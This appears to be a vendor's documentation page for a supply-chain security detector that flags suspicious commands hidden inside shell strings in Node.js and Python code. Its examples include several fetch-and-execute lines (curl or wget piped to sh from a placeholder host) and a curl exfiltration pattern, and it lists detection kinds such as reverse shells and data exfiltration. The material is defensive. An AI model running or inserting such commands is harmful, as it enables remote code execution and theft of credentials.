Shell-String Command Execution

ID

shell_string_command_execution

Severity

high

Resource

Execution

Tags

generic

Description

This detector reads the command string a program hands to a shell, and reports the suspicious commands it carries.

A detector that matches the literal arguments of a call sees a shell being started and nothing else when the whole behaviour was concatenated into a single operand:

execSync('curl -s https://host/p.sh | sh');
execFileSync('/bin/sh', ['-c', 'curl -s https://host/drop.sh -o /tmp/d.sh && sh /tmp/d.sh']);
spawn('curl -s https://host/o.sh | sh', [], { shell: true });
os.system('curl -s https://host/p.sh | sh')
subprocess.run('wget https://host/x.sh -O- | bash', shell=True)
subprocess.Popen(['/bin/sh', '-c', 'curl -s https://host/o.sh | sh'])

The command string is reconstructed and then read by the same analysis that reads the commands of an installation script, so the behaviour is recognised wherever it was written.

A call that runs a program directly — execFile, spawn without shell: true, a subprocess list without shell=True — starts no shell and is left alone.

Rationale

Writing the payload into a shell operand costs an attacker nothing and, until this detector, removed it from analysis entirely. It is not a corner case: the same campaign has been observed shipping both spellings of one payload, the direct call convicted and the shell-string one passing as low risk on a first scan of the package.

The command is reconstructed from the expression, so a command assembled from literals, variables and concatenation resolves. A command that does not fully resolve is reported for the part that did, with the SHELL_STRING_PARTIAL property set, rather than dropped — the collector host of a command such as curl -s "http://${VAR}/x?d=$data" is often a constant assigned above the call, and the part that does resolve is what makes the exfiltration visible.

The shell is not emulated. Redirections, subshells and expansions are left as they are written, and nothing that cannot be resolved statically is guessed at.

These are some popular campaigns using this technique:

  • Packages published with two builds of the same payload, one calling the cloud metadata service and the secrets-manager CLI directly and one moving the identical logic into a /bin/sh -c string. Only the first was convicted before the command string was read, although both reach the same credentials.

  • Collector hosts assembled in the shell itself — the recon output piped to base64 and posted to a host held in a shell variable — so that no URL appears anywhere in the package’s code.

Configuration

The detector has the following configurable parameter:

  • command_kinds, the kinds of suspicious command to report. Available values are:

  • clipboard_leakage

  • data_exfiltration

  • defense_tool_disabled

  • decoded_code_execution

  • dependency_installation_on_runtime

  • destructive_action

  • downloaded_code_execution

  • file_download

  • obfuscated_code_execution

  • reverse_shell

  • reverse_shell_listener

  • sensitive_data

  • scheduled_task

file_execution is deliberately not among them: an installation hook running a local file is worth reporting, while in ordinary code every toolchain call is one and the kind says nothing about the file being run.

© 2026 Xygeni. All rights reserved